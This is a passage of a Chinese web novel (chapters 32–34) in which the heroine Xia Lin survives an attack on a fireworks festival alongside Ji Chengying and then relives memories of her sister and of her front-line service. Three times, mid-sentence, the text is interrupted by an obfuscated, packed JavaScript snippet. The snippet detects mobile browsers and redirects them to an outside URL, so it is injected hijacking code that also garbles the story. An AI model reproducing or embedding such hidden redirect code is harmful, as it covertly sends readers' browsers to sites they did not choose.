“而我们所在的现在这个时代,火药早已被更清洁更能循环利用的能源所淘汰。我们现在看到的烟花,也只是模拟出了以前的效果,只保留了它美好的一面。” “虽然从古至今,有记载以来的数千年人类历史里,斗争从未停歇。” “但武器的存在从不是罪恶的,甚至它也可以和烟花匠人制作出烟花的初衷保持一致,只要握住武器的那个人没有忘记自己的初衷。” 夏林一口气说了许多话,说完后再去看纪承英的反应。 那个拥有一头金色长发的青年坐在座位上一动不动,唯有那双低垂着的羽睫微微颤抖着,像是在竭力忍耐着什么。 过了一会,她听见纪承英说: “对不起。” 夏林怔了一下。刚想思考这是在对什么而道歉,耳边忽然传来了系统的提示音: 【恭喜玩家达成角色“纪承英”好感度100!】 夏林动作一顿,有些不可置信。 她只是和纪承英说了一会话,好感度就满了? 所以接下去只要把他的相关剧情全部走完,就算攻略成功可以离开这个乙女游戏了? 不知道为什么,这突如其来的成功让夏林不太有真实感。 就像是在回应她的判断,外面忽然传来了几声极大的异响。 为了还原烟花大会的氛围感,这个包厢几乎没有多少隔音。之前夏林甚至都能听到不远处包厢内一阵一阵的欢呼声。 但是刚才的响动似乎和先前烟花发射亦或者空中炸开的声响有些不太一样…… 夏林紧紧盯着包厢外的空中景象。 烟花大会还在继续。靛蓝的螺旋烟花纠缠旋转着升空,在最高点分裂成数百只发光的雀鸟,向四面八方振翅翱翔。这边鸟雀的轨迹还未消失,另三枚粉色的烟花呈品字状升空,在夜空这块漆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100429|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑的幕布下绘出了一片稍纵即逝的绯色花瓣雨。 此时边上那几点缓缓消散的橘黄色光点就显得十分违和,还有那几道偶尔亮起的凌乱白线。 夏林对这些莫名有些在意,站起身走到了包厢的玻璃墙旁。 就在此时,一块从天上坠下的碎片拖着还未冷却的黑烟从夏林的蔚蓝色眼眸倒影中一晃而过。 极好的动态视力让她在那一瞬间看清了上面只剩下一半的羽翼和利剑标识。 军部的标识? 夏林下意识地随着那块碎片的落下而低头。 由于夏林二人所在的包厢没有选择在垂直距离上升空,一直停在地面上,所以那块碎片应该是掉在了他们的包厢门外。 就在夏林抬头的一瞬间,外面传来了刺耳的尖叫声。 然后伴随着尖叫声轰然坠落在巨蛋中央的,是一架小型军用战斗机。 整个椭圆形巨蛋会场响起了刺耳的警报声。 即使未打开包厢的门,外面人群凌乱的脚步声和一阵阵恐慌的尖叫吵嚷依然清晰地传了进来。 而在上空,不断亮起的红光与各个方向的白线互相交织闪烁,间歇有几个拖着长尾坠落的明黄光点。 宛如烟花大会的另一种荒诞再续。 现在夏林终于知道了方才纪承英的那句“对不起”的含义。 军部的战斗机为什么会出现在这里,只有一个理由。 “是我和军部汇报说,今天与那个‘机甲同步率100%’人员约定在这里见面。他们放我离开之后,果然在这个巨蛋会场的周边布下了不少暗线兵力。” 身后响起了纪承英宛如自白般的发言,依然是那个清润温和的嗓音: “对不起,夏林。擅自把你当做诱饵了。” 此时却听来有几分空洞。 夏林垂落于身侧的手猛地攥紧。她深吸了一口气,回过身看向身后坐在座位上的金发青年:“你要道歉的对象,只有我吗?” “这里是一般民众聚集的节目会场,在这里发动行动一定会有伤亡。而且这样公然与帝国军部为敌,你不考虑后果吗?” 夏林不明白,为什么刚才还能因为她那番“勿忘初衷”话语而增加好感度的人,过几分钟就能任由武装火力斗争在平民聚集的地方发生? 她作为玩家知道这些平民只不过是模拟出来的NPC。可对纪承英来说,这些都是活生生的人,是他作为帝国军人,“帝国之盾”应该保护的对象。 这不是完全背离了他的初衷?就算纪承英知道了真相,可辜负他的是帝国高层,也不是这些普通民众啊。 这到底是要走一个什么结局? 沉默良久,纪承英的声音终于再次响起: “关于‘236幽灵事件’,军部对我的解释是‘这是必要的牺牲’。” “如果在当时作为第一统帅的将军都能作为‘必要的牺牲’的话,那么现在的这些人当然也是可以的吧?” “而且军部现在好像还是需要我的样子,那么今天的这些‘小意外’,他们也会自己找理由来合理解释的,不会变成叛国的。这个社会不就是这样运作的吗?” 纪承英忽然笑了一声: “毕竟他们好像知道我现在很生气,也该付出一些代价了。” 气氛瞬间凝滞。 夏林忽然觉得这样的纪承英有些陌生。 32. 纪承英13 包厢内窒息般的沉默并没有持续太久。 距离混乱开始已经过去了一段时间,周围的嘈杂人声已然消失,时不时响起的爆炸也逐渐归于平静。 纪承英终于从包厢座位上站起了身,对夏林开口道: “出去吧,现在外面应该没有军部的人了。” 话落他推开了包厢的门,确认安全后走了出去。 夏林沉默地跟了出去。 夜风忽然转向,刺鼻的硝烟味和焦糊味在夏林走出门的那一刹那尽数涌入了鼻腔,她下意识地皱起了眉。 随后眼前呈现出的景象更是让她抿紧了唇。 之前会场的整齐和谐已然消失殆尽,取而代之的是一地断壁残垣。 巨蛋的中央空地坠落了一架还在冒着黑烟的小型战斗机,机尾还扎入了后面的虚拟大屏里,使其整个裂成了两半。 一个个球形的包厢似是用了特殊的防御材料打造,虽然有些因为爆炸掀起的烈风倾倒在了一侧,但大多都没有什么损害,好好地立在一圈阶梯状观众席上。 或许纪承英就是知道了这一点刚才才会一直在里面保持不动。 夏林什么也没问,只是一味地跟着纪承英走,同时注意避开脚下的各种残骸碎片。 就在她为了避开障碍而踩到了平坦的另一边时,抬步的瞬间忽然觉得脚下格外粘稠。 低头一看,那是一块已被大片深色液体侵染的地砖。 液体的源头没入了边上倾倒的巨大糖果贩卖机。因机身存坏,里面储备着的各色糖果一股脑地倒了出来,在下面堆了一大堆。 是足以让边上人来不及逃跑就淹没在底下的数量。 入场的短暂记忆里,一位头发花白明显腿脚不便的老奶奶正坐在这旁边慈眉善目地看着来买糖果的孩子们。 夏林脚步一顿,忽然往那个方向喊了一声:“有人吗?我是救援!” 这个动静自然引起了纪承英的注意力。他停下了前进的脚步,回头看:“怎么了?” “那个下面可能有人被困。”说话间夏林已经走到了糖果贩卖机的旁边,开始往外刨。 纪承英顿了一下,立即往回走了几步,也看到了地砖上的大片深色。 他蹲下身,用手指碾了一点,放在鼻尖嗅了一下。 纪承英的羽睫渐渐垂了下来,翡翠般的碧眸有些黯淡,那张淡色的嘴唇微张了几秒,然后紧紧地抿起。 他站起身走到夏林身边,一把拽住了夏林的胳膊,冷声道:“别在这浪费时间。我说了,这是‘必要的牺牲’。” 夏林回过头,刚要开口说些什么,忽然瞳孔猛地一缩: “小心!” 她全力往前一扑,抱着纪承英在地上滚了几周,躲入了由倾倒的机器和巨大残骸形成的狭小隐蔽处。 原先两人所站着的位置已被无数弹痕所覆。 这样小而密集的弹痕显然不是战斗机的火力。两人在隐蔽处调整着角度小心翼翼地往外看,很快找到了来源。 有两架飞行器在上空一高一低来回不断地巡查,上面搭乘的人都戴着头套,手上持有武器。 其中飞得较低的那一架似乎就是刚才朝他们开火的那一架,此时距离他们的位置并不远。 夏林用眼神询问纪承英。对方朝她摇了摇头,然后指了指自己的光脑,示意自己已有联络,马上就会有他那边的人过来。 夏林点点头,重新看向外面警戒。 这两架飞行器上的到底是什么人?帝国军方不可能贸然直接对人开枪,毕竟他们在这里安排人的本意可是抓她这个“机甲同步率100%”人选。 纪承英那边就更不可能了。 等等。 夏林忽然想起了什么,扭头问: “纪承英,之前你说是有人建议你邀请我来这个烟花大会的,那个建议的人是谁?” “是司昊泽。怎么了吗?”纪承英答得很快,说完后也很快想到了夏林现在的想法,皱眉道:“你的意思是……现在的攻击和司昊泽有关?” 夏林沉默了一下,开口:“如果我们今天来这里的事情除了军部只有他知道的话。” 她是考虑到纪承英和司昊泽的关系才用了相对委婉的说法,实际上夏林在心里已经几乎100%确定就是司昊泽。 只是那如果是司昊泽的话……夏林立即想到了之前他对白川和自己做的事情。 夏林感觉自己的右眼皮跳了一下。 内心隐隐有一股不安在逐渐蔓延扩散。 如果是司昊泽建议他们来这里的话,他应该知道这个巨蛋会场包厢的材质比较坚固,同时以他对纪承英的了解,或许会猜到纪承英的行动。 刚才的扫射位置其实十分精准,这里的隐蔽处不算多,上面开枪的那一个人真的没有注意到他们躲入了这个角落吗? 心底的这个猜测让夏林感觉到自己的额角有汗珠滑落。 “喂,别划水只看一边啊,多往其他方向看看找找。你小子刚才直接开枪,我还以为你看到目标了呢。” 巨蛋会场内低空徘徊的飞行器上,驾驶座上坐着的人对着另一边的人呵斥道。 “……不好意思,刚才好像是我看错了,这里障碍物太多了。” 另一边的人收回了自己一直投往某个隐蔽处角落的目光,将头转向了其他方向。 “看错?目标人物是两个金发,这么显眼也能看错?” 驾驶座上的头套人一拉操纵杆,将飞行器的徘徊改为悬停。他将手里的枪拉开了保险栓,手指搭在了扳机上,似是漫不经心道:“你刚才这一开枪可是打草惊蛇了,现在他们就算还在这里,也多半是躲起来了,不太好找。你该不会是在特意提醒他们吧?听说你和其中一个目标人物相处了四五年?” “……” 副驾驶上的人没有说话,只是暗中将手指也放到了扳机上。 就在这边的矛盾似要一触即发之时,飞行器上的对讲仪忽然响了。 “S03检测到有三架帝国小型战斗机正在靠近,预计抵达时间为1分钟!请S01、S02立即撤退!” “重复一次!S03检测到三架帝国小型战斗机正在靠近,预计抵达时间为55秒!请S01、S02立即撤退!” “S02收到,正在撤离。” 飞行器上剑拔弩张的气氛随着驾驶座上的人放下枪重新握上操纵杆而消失。他冲对讲仪回了一句:“S01收到,正在撤离。” 说完后他松开了对讲仪的说话按钮,一拉操纵杆猛地提升了飞行器的高度,朝外加速飞去。 “你刚才贸然开枪的行动,我会向上面如实汇报的。你最好准备好你的说明理由,而不是什么‘看错’。” 这句话显然是对副驾驶上的人说的。 副驾驶上的人垂眸沉默了几秒,忽然开口:“那你或许还有一个需要修改的地方,比如说,这次行动的结果。” 话落他唤出了光脑的光屏,在上面的某个位置按了一下。 一道刺目的白光从身后朝外射出。 巨大的火球如巨龙般腾空而起,直冲云霄。滚滚浓烟像倾倒了的干冰盆一样由内而外蔓延,爆炸扬起的冲击波在近处掀起了灼热的烈风,将空中还未驶离太远的两架飞行器往外推了近百米。 飞行器360度整整旋转了四五周才在空中堪堪稳住。 驾驶座上的人一把扯下了头上的头套,摸了一把自己额头上撞出的血,冲着身旁同样摘掉了头套的红发青年龇牙咧嘴道: “你……” 他的视线下意识地往后,后方是已被炸成废墟且被熊熊烈火吞没的烟花大会巨蛋会场。 他张了张口,说完了下半句话: “你真是个疯子。” 司昊泽抓了一把自己的头发,深吸了一口气,对身旁人冷声道: “愣着干什么?趁着混乱回去找啊。不是说就算是尸体,也是有用的吗?” 驾驶座上的人瞪圆了眼,指着后方被熊熊烈火包围的废墟: “你现在搞这一出,还能有尸体?” 司昊泽看着光脑上显示出的两幅规律跳动的曲线图,其中有一边的跳动幅度肉眼可见地正在走低。 那边显示的名字是…… 他猛地一把拽起旁边人的衣襟,发狠道:“不敢回去就滚,我来开。” “知、知道了。我马上掉头回去。” · 夏林是被滴落在脖颈上的液体弄醒的。 身体各处都在疼,尤其是头部,好像是因为刚才爆炸掀起的烈风把他们两个一起掀飞,然后撞到了某一处的墙上。 她只是回想了这么一点内容,大脑就仿佛被劈成两半一样生疼。 而且还有不断地耳鸣。 “夏林……” 夏林觉得自己隐约好像听到了纪承英的声音。他还能说话的话应该比自己现在的状态要好吧? 眼前的画面在渐渐从模糊变得清晰,耳鸣似乎也减轻了一些。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103984|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“夏林!” 夏林终于听清了声音。只是下一秒眼前的景象又让她觉得一阵眩晕。 “纪承英……?” “太好了,你终于醒了。” 纪承英整个人被一块巨石压着撑在了她的上方。巨石上有一根足有三手指粗的钢筋整个穿透了他的右肩胛骨,几乎是将他整个人钉在了上面。 像是巨石落下的时候他用力往外撞了一下,否则那根钢筋扎下的位置就是夏林的心脏。 纪承英右侧的制服已被鲜血染成黑红。血珠顺着钢筋滚落,滴在了她的脖颈处。 冰凉滑腻。 这样不行,会失血休克的。 判断完状况的夏林深吸了一口气,然后竭力想抬起自己身侧的手臂,却发现无法做到。 “一根手指都动不了吧?我也是一样。可能是有一点神经麻痹。” 夏林没有听他的话,再次闭眼咬牙努力尝试,额角上开始冒出细密的汗珠。 “夏林,其实后面这块石头的重量不在我身上,下面应该是有东西撑住了。肩膀上的伤口,说实话我也没什么痛觉了。” 纪承英的声音与往常一样,根本不像是一个受了重伤的人。 “我只是有些话想和你说。” 夏林心头一跳,闭眼道: “我现在不想听。脱困之后再和我说。” 纪承英像是根本没听到她这句话,自顾自地往下说: “帝国军部关于‘236’隐形战舰的研究需要大量的算力支撑,他们需要的材料是……” 他忽然顿了一下,过了两秒才道: “能与机甲同步率100%的人的大脑。” 夏林一愣,缓缓抬眼看向了上方之人。 纪承英整个人凌乱而又憔悴,唯有那双碧绿的眼眸格外明亮,专注地看着夏林: “所以如果我不在的时候,不要相信任何一个让你去配合研究的帝国军人。他们现在还没有其他研究方案。” 说到最后的时候,那双碧眸黯淡了几分:“我本来想通过这次……上报你的死亡之后让他们换一种研究方式的。” 纪承英后一句话说得极轻,但离得很近的夏林还是听到了。 她内心的不安感在渐渐扩大,面上镇定道: “那就脱困后养好伤再重新与军部博弈,拿出一个不需要危及生命的研究方案,我会配合的。” “然后利用这项研究最小化伤亡结束帝国和联盟的战争,之后就是你所期望的和平时代了。” 听到最后一个词的纪承英忽然拉扯了一下颊边的肌肉,露出了一个自嘲般的笑容: “你说,我所期望的和平时代?” “我从没有期望过那样伟大的东西。” “一个人有天赋的话,就必须达成与之相匹配的成就吗?谁规定的?” 这句话让夏林怔了一下。 纪承英后面的话语宛如喃喃低语: “我是一个很无趣的人。没有什么喜欢的,也没有什么讨厌的。” “但即使是这样,我也知道谁是真正对我好的人。” 从夏林的角度可以清晰地看到纪承英那双碧绿眼眸中,瞳孔隐约有些向外扩散的迹象。 那是意识模糊即将昏迷的前兆。 夏林心头一紧,喊道:“纪承英?” 然而上方的人像是没有听到她的话语,继续往下说: “他们一直都是这么教导我的,要刻苦学习,要成为守护国民的‘帝国之盾’。” “记忆里第一次说的时候,好像是在我5岁的时候?真胡扯,5岁能知道什么啊。” 夏林第一次听见纪承英用这样的语气说话。 他的双眼已经失去了焦点,说话的嗓音音量也低到几不可闻: “但我记得最多的,其实是每次我拿回好成绩时,他们脸上的表情。” “我一直所期望的,只是那些人能感到幸福的未来而已。” 心底突然冒出了一个声音。 与纪承英最后那一句话完全重合的同时,又在脑海中自动浮现了下一句。 【因为这是我唯一能够向他们表达感谢的方式。】 【谢谢你们爱我。】 夏林嘴唇翕动了几下,忽然一阵剧烈的头痛袭来,先前的耳鸣也随之而起。 但她已经认出了这个声音。 毕竟这是听过成千上万次,每日每分每秒都在听的—— ——属于夏林自己的声音。 33. 纪承英14 “姐姐——” 熟悉的女声在耳畔由远及近,那种宛如隔着一层气泡的失聪感在眼前景象出现时骤然破裂。 睁开眼的夏林怔怔地看着一路小跑朝她迎来的妹妹夏璃。 之前记忆里如洋娃娃般的金发女孩已经长高不少,现在应该称之为金发少女。 岁数长了,但习惯动作依然没变。夏璃一来就亲昵地牵起了夏林的手,因跑动而红扑扑的脸颊上笑靥如花: “姐姐!我跟你说哦,半年前父亲找来了一个很厉害的医生,现在我的病已经基本好了……明年我想和你一起去军校!” 夏璃说话时的眼睛亮亮的,似乎对这件事十分兴奋。 夏林张了张口,几乎是下意识地脱口而出: “不可以。” 说完之后自己又愣在了原地。 那边本来激动的夏璃骤然被泼了一盆冷水,表情垮了一秒后转为了不忿:“为什么?姐姐不想和我在一个学校吗?我知道军校会很艰苦,姐姐以前也私下做了很多训练,但我只是想有更多时间和你在一起,每次你不在家的时候,这座别墅就像是囚房一样……求求你了,跟不上的话我自己会努力的!” 金发少女说到最后语气低了下来。 夏林看着眼前人金色的发顶,刚想伸手安慰一下对方,夏璃却像是听到了什么不可思议的话一般猛地抬头看向了她: “我不要!你是不是有了学校的新朋友就不想和我玩了?我不要听!你说什么都没用的!我自己会和爸爸妈妈说我要去你那个学校!他们肯定会同意的!”话落不管不顾地转身离开了。 夏林还维持着抬手的动作。 一秒后,她突然意识到了什么。 这是她的记忆,亦或是梦境之类的东西。 上一次是因为她想起来了,知道了后续的发展,所以对话融入就很自然。 但这一次,她什么也没有想起来。 夏林看了一眼自己僵在半空的手,默默地放了下来。 正因为是记忆,是已经发生过的事情,所以就算她不参与对话,情景依然在继续。 可她当时,是为什么坚决反对夏璃入校? 正当夏林苦思冥想又一无所获的时候,周围的场景又发生了变化。 四周光线一下子昏暗了下来,很明显已是入了夜,眼前的光亮来源自书房内一看就造价不菲的琉璃夜灯。 “我知道她有可能跟不上。没参加过任何训练怎么可能直接跟得上帝国第一军校的课程?我当然也有警告过她。只是那孩子的脾气……都是因为她之前生病,我们之前一直对她千依百顺,这几天又哭又闹又砸东西,真是闹翻天了。” 身着华服的中年男人边说边扶额摇头,眉头紧紧皱成了“川”字:“总之啊,我这次也明确和她说了。想进军校,入学资格我们能帮她,后面全都得靠她自己。只要学校来了不合格的通知,立刻退学。以后学校也别去上了,我们会继续请家教的,反正也只需要一个孩子有军籍。” 中年男人抬头看向夏林的目光十分欣慰。 对这段记忆内容全然陌生的夏林选择了静观其变,但中年男人的下一句话却让她愣了一下: “行啊。如果你能拿到全科综合第一名成绩,我可以给她办转学。” 她那个之前一直想不起来的在现实里一直和秦封争第一的理由…… 是为了让夏璃转学? · 还未等夏林思索更多,四周的场景又变了。 这次不在别墅内了。夏林很快判断出她这是在军校训练场的教官瞭望高台上。 眼前的多块电子屏上,身穿学院制服的军校生们正在进行负重越野训练。 夕阳下,队伍最前方的金发少女脸色惨白,身后的负重背包更让她看上去整个人摇摇欲坠。 旁边的教官看了一眼电子屏上夏璃的心肺数值,一皱眉刚要呼出光脑下达终止指令,却被身旁人拦了下来。 夏林看了一眼自己制止的动作,听到旁边道: “行,既然家属这么说了,出事也不是学校的责任,就让她继续吧。” “不过你最好去接一下人,以夏璃目前的身体状态,最多抵达终点,可能有休克昏迷的风险。” 夏林一直在看屏幕上的金发少女。身体数值她也会看,当然也知道夏璃现在的状态很差,几乎是达到了体力的极限。 可电子屏上那个摇摇欲坠的身影却咬着牙,双眼发直,几乎是在凭借着意志力在一步一步地往前。 【学员“夏璃”已完成负重越野,成绩17分50秒。】 光屏上出现了一行提示。同时电子屏上那个金发身影如预料的一样刚过终点就倒了下去。 夏林见状立即转身和放她上瞭望台的教官打了个招呼,下去后朝着训练场上跑去。 瞭望台就在训练场的旁边。极短的路程,一路上却有不少男女学生与夏林打招呼。 来到训练场上,昏迷的夏璃已经被现场的教官移到了旁边紧急医疗的地方。此时见到夏林过来,十分信任地把夏璃交给了她。 就在夏林背上了人正要离开时,却被方才旁边的教官叫住了: “夏林,等你妹妹醒来之后,你跟她好好说说吧。” 教官用手在太阳穴附近虚虚示意了一下,摇了摇头开口道:“太拼了,她这样反而会损伤身体,得不偿失。” 夏林点了点头。 教官忽然面露迟疑,过了几秒还是选择开口道:“她刚才一到终点就问我她的成绩,然后又问我你曾经的成绩。” “以你为目标是挺好,但她似乎有点太过执着了。建校以来能达到你这一档成绩的学员都是凤毛麟角,有些事情啊光靠努力不行,真的得看天赋。” 夏林沉默地听着,最后也只是点了点头。 她背着昏迷的夏璃穿过训练场,直奔医务室。 回去的途中下课铃响了,背着人的夏林一路上十分引人瞩目,不断有人朝她搭话,四周的窃窃私语也传入了耳中: “夏林?她这是怎么了?我来帮你吧!” “诶?那不是夏林吗?她背上的那个是谁?” “不知道,看衣服好像是个一年级生……” “为什么那个一年级可以被夏林背着?” “哦!听说那好像是她妹妹……” 夏林对这些话充耳不闻,脚步没有停留地将人送去了医务室。 医务室的医生诊断说是脱水还有一些肌肉损伤。 夏林看着躺在治疗舱里脸色惨白的金发少女,心里彻底知道了为什么以前的自己会坚决反对夏璃进入军校。 因为她对夏璃太了解了,争强好胜的人在军校这样竞争激烈的环境下若是达不到自己心底的预期,就会选择一直勉强自己,甚至不惜损伤身体。 而夏璃以前生过病,就算现在恢复了,本身身体的底子也并不算好。 长此以往,对身体的损害继续累积下去的话…… 夏林表情凝重,本想留下来继续守着治疗舱内的夏璃,光脑上却突然出现了紧急召集的通知。 通知内容是为期两个月的临时校外演练。 夏林看着依旧在昏迷中的金发少女迟疑了一下,还是起身离开了医务室。 · 这边夏林刚踏出医务室的门,周围的场景就再次重构。只是这次场景还未重构完,歇斯底里的熟悉女声率先传了出来: “你以后在学校里再也不要在我面前出现了!你根本不知道你每次出现了又离开之后,那些人看我的眼神……” 夏璃低头捂住了自己的耳朵,整个人弯着身子微微颤抖: “我知道我比不上你……可是我也努力了啊,我真的很努力很努力了,我现在都是第一名了?我也有自己的名字,我不叫夏林的妹妹!” 夏林心上像是被猛砸了一拳,下意识地伸出手想要安慰她,那只手在半途中却被大力拍开。 金发女生默默流泪:“为什么会这样?在家的时候没有人喊我的名字,在这里我已经这样拼命了,也依然还是没有……这样和在家里又有什么区别?他们只看得到你,他们只喜欢夏林。” “我知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108704|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道不是姐姐的错,但是这里……我后悔了,我好后悔,我不想在这个学校了。” 夏林下意识开口:“那就转学吧。” 夏璃吸了一下鼻子:“转学?爸爸说了,他只会让我退学!当时入学的时候说过,根本没有给我转学的选项的。” 夏林沉默了一下,还是开口说了出来:“有的。我与夏先生之前有过一个另外的约定,只要我拿到全科第一的成绩你就可以转学。” 金发少女闻言抬起了头,那双蔚蓝色眼眸中带着泪光闪烁的希冀隐约有些年幼时的模样: “真的?只要你能拿到全科综合第一就会同意让我转学?” 金发少女表情一秒从欣喜又转为了忧心忡忡:“但是我听说那个秦封学长的成绩好像和你不相上下……” 她抿了下唇,勉强挤出了一个笑容:“加油哦,姐姐。我相信你。” 夏璃在最后嘴上虽然这么说,眉宇间依旧笼罩着化不开的阴霾。 这片阴影很快化为了现实。 下一个场景重构之后显然与之前又有了一段时间差。推门进来的夏璃已经穿上了二年级的军校制服。她一进门就冲着夏林不可置信地喊道: “姐姐,你真的亲自申请重查《机械基础与设计》那一科的成绩?为什么?你这学年的成绩明明已经综合全科第一了啊,不是他重查而是你去申请重查?你傻不傻啊!” 夏林从座位上站起身靠近夏璃,下一秒做了一个意想不到的动作。 抬手给了她结结实实的一巴掌。 “你打我?你……”夏璃捂着脸睁大了眼睛,嘴唇翕动,却出乎意料地没有发作,而是过了一会才迟疑道,“……你知道了?那秦封学长他也知道吗?” 夏林沉默地看着眼前人,没有说话。 原本表情有些胆怯的夏璃见状忽然明白了什么,大声道: “如果他不知道的话你为什么要申请重查?姐姐你忘了如果你拿到第一的话就可以帮我转学了吗?你不是答应过我的吗?你也知道,我每天在这里过得有多煎熬……” “如果被秦封学长发现了也就算了。姐姐,我们可是家人啊,我一直以来都最喜欢你了,你不是应该偏袒我的吗?” “就算被发现后被开除我也会自己承担的。我会说和姐姐没有关系,都是我一个人干的。反正被开除和被退学本来就没什么区别,我早就想好了,我会自己承担后果的。只是……为什么,为什么偏偏要是你去主动申请呢?” 少女尖锐的质问话语在这个狭小的房间内回荡。 两人间流淌着的沉默划下了看不见的深深裂痕。 过了一会,夏璃轻声道:“你心里真的有把我当妹妹吗?” 她抬起头深深地看了对面人一眼: “从今往后,你不再是我的姐姐了。” “我恨你。” · 这次场景重构的黑暗持续了很久。 再次出现在夏林面前的金发少女依旧身穿二年级的军校制服,但看过来的眼神就像是在看一个陌生人一样。 “好久不见了,姐姐。” 嘴上喊着亲昵称呼的夏璃脸上表情却是毫不相符的冷漠: “如果你还愿意听我一次请求的话,毕业后的志愿填报不要报中央部队,去前线吧。” “算我求你了,我真的不想到了中央部队依然被称之为‘夏林的妹妹’。反正以我的水平也去不了前线,那边的申请要求很高,正好很适合姐姐这样的‘天才’去立军功。” 夏璃嘴上说着恳求的话语,脸上的表情却丝毫没变。 “至少这一件事,可以为我做到的吧?” 她抬眼看向前面这个曾经与她最亲密无间的人,唇边扬起了一个冰冷的弧度: “好不好?姐姐。” 夏林已经分不清在这段漫长的回忆里她是从哪里开始全部想起来了的。 因为她发现即使再来一次,她想做的选择依然没有变。 包括现在也一样。 “好。” 她听见自己又一次这样回答。 34. 纪承英15 茫然,无措,心痛。 夏林在漫长的黑暗中感受着这些逐渐将自己淹没的负面情绪,几近窒息。 夏璃是她第一个最珍惜的人。 但现在她的存在,好像只会给夏璃带去不幸。 为什么……会变成这样呢? 此时,一个女声冷不丁地出现: “上尉,您为什么会申请来前线部队呢?” 还沉浸在上一段记忆的夏林听到这个声音缓缓抬头。 一瞬间有些分不清身处现实或是梦境。 但当她看清眼前说话的人时,立刻判断出了自己依然在回忆中。 四周不知何时又重构出了下一个场景。夏林此时正坐在一张长年使用但明显被仔细保养过的书桌前,正前方站着的那位身穿深蓝军服的褐色短发女性看起来非常眼熟。 面前的军服女人似乎并没有在意夏林的状态,自顾自说了下去: “如果有冒犯的话我先道歉。只是您明明在军校时期就已经是非常有名的人物,成绩也相当优秀,之前与您相提并论的另一位听说已经升到了上校即将成为少将……而您八年间在前线参与多次大小战役,出生入死到现在却只是‘上尉’军衔?队里有小道消息说您是自己拒绝了晋升?如果您压根不追求军功晋升,又为什么要申请来前线呢?” 她紧紧盯着夏林,目光诚恳而又真挚:“虽然我从未特意说过,但实际上我与您毕业于同一所军校。您以前的那些机甲对战影像、沙盘指挥模拟至今都有被当成经典对策范本沿用,对您向往的军校生数不胜数!甚至我……” 女军官说着说着感觉自己情绪上头,停顿了一下才继续开口:“我也是听说您在这个部队才特意申请调过来的,可您现在……如果您在军部是有什么不方便的话,或许我的家族愿意为您……” 虽然夏林依然什么都没有想起来,但女人的这番话给出了很多讯息。 原来在现在的时间线里,她已经军校毕业八年了。 上尉……是能够一直在前线效力的最高军衔。如果再往上一级的“少校”,就需要定期离开前线,前往中央军部做汇报了。 夏林垂下了眼睫。 原来她这八年来一直遵守着夏璃的“请求”。一次也没有回过中央军部所在的首都星,一直驻扎在前线。 确实像是她会做的事。 可这样“自私”的想法,只会让面前这个对她充满憧憬的年轻女军官感到失望罢了。 夏林已经可以想到回忆里的自己会给出什么样的回答。 果然,过了一会,短发女性愣了一下,不可置信道:“一直在‘上尉’的位置怎么会好?以您的能力,若是能得到更大的指挥权限,说不定我们与联邦的局势就会不一样啊!” “就算您的队伍生还率最高,可帝国每天依然有源源不断的年轻士兵需要走上战场,怎么能目光这样短浅?你以前那些……” 短发女性忽然止了言,目光里流露出肉眼可见的失望。她几度张口,最后却克制地什么都没说,只留下了一句:“抱歉上尉,我刚才的言辞有些过激了。如果您没有其他指示的话,向您告退。” 话落行了一个利落的军礼,过了几秒,转身离开了这间办公室。 室内恢复了安静。 长达八年的记忆空缺让目前记忆只到军校毕业的夏林感觉自己有些陌生。 只是沉默地等着回忆里的“自己”进行下一个动作。 “夏林”望着那扇重新关上的门看了许久,然后呼出了光脑光屏。 就像千百次做过的那样,她熟练地经过虹膜验证登入军部的内部系统,对所有收到的军部讯息一一作出了回复。 因为大多是一些无关紧要的日常汇报,所以回得很快。 只剩下最后一条有些不一样。 那是一条嘉奖通知。 前面长篇大论的赞美“夏林”都直接划过,只拉到了最后直接看结论。 【……特记一等功一次,激励金八十万元,以资鼓励。】 “夏林”垂眸看了一会,然后将这一条讯息放到了另一个单独的分类。 那个分类下已经有了类似的18条嘉奖通知,没有一条带有晋升的内容。 或许是她最开始的时候自己向军部要求的。 此时门口传来了敲门声。 几秒后,一位年长的皮肤黝黑的军装男性走了进来。 他先是向夏林行了一个军礼,放下手后,室内沉默了几秒。 那张饱经风霜的脸上两颊肌肉扯动了几下,表情有些不自然地开口: “上尉,那个……” 他叹了一口气:“刚才琳莎来和你闹脾气了吧?今天这孩子在外面也一副焦躁的样子,和谁都一点就炸。方才小玥眼尖看到她从你这臭着脸出去,和那几个催着让我过来安慰您呢,还让我带来了‘歉礼’。” 